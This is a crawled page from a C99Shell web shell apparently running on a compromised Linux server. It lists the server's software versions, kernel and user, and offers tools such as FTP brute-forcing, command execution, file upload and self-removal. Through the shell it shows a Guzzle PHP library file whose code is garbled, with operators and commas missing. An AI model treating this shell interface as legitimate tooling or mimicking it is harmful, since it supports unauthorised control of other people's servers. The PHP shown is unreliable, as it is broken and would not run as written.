!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/php/3ros/guzzle/guzzle/guzzle/src/Guzzle/Batch/   drwxr-xr-x
Free 15.57 GB of 61.93 GB (25.14%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     BatchRequestTransfer.php (1.88 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Guzzle\Batch;

use 
Guzzle\Batch\BatchTransferInterface;
use 
Guzzle\Batch\BatchDivisorInterface;
use 
Guzzle\Common\Exception\InvalidArgumentException;
use 
Guzzle\Http\Message\RequestInterface;

/**
 * Batch transfer strategy used to efficiently transfer a batch of requests.
 * This class is to be used with {@see Guzzle\Batch\BatchInterface}
 */
class BatchRequestTransfer implements BatchTransferInterfaceBatchDivisorInterface
{
    
/** @var int Size of each command batch */
    
protected $batchSize;

    
/**
     * Constructor used to specify how large each batch should be
     *
     * @param int $batchSize Size of each batch
     */
    
public function __construct($batchSize 50)
    {
        
$this->batchSize $batchSize;
    }

    
/**
     * Creates batches of requests by grouping requests by their associated curl multi object.
     * {@inheritdoc}
     */
    
public function createBatches(\SplQueue $queue)
    {
        
// Create batches by client objects
        
$groups = new \SplObjectStorage();
        foreach (
$queue as $item) {
            if (!
$item instanceof RequestInterface) {
                throw new 
InvalidArgumentException('All items must implement Guzzle\Http\Message\RequestInterface');
            }
            
$client $item->getClient();
            if (!
$groups->contains($client)) {
                
$groups->attach($client, array($item));
            } else {
                
$current $groups[$client];
                
$current[] = $item;
                
$groups[$client] = $current;
            }
        }

        
$batches = array();
        foreach (
$groups as $batch) {
            
$batches array_merge($batchesarray_chunk($groups[$batch], $this->batchSize));
        }

        return 
$batches;
    }

    public function 
transfer(array $batch)
    {
        if (
$batch) {
            
reset($batch)->getClient()->send($batch);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.2993 ]--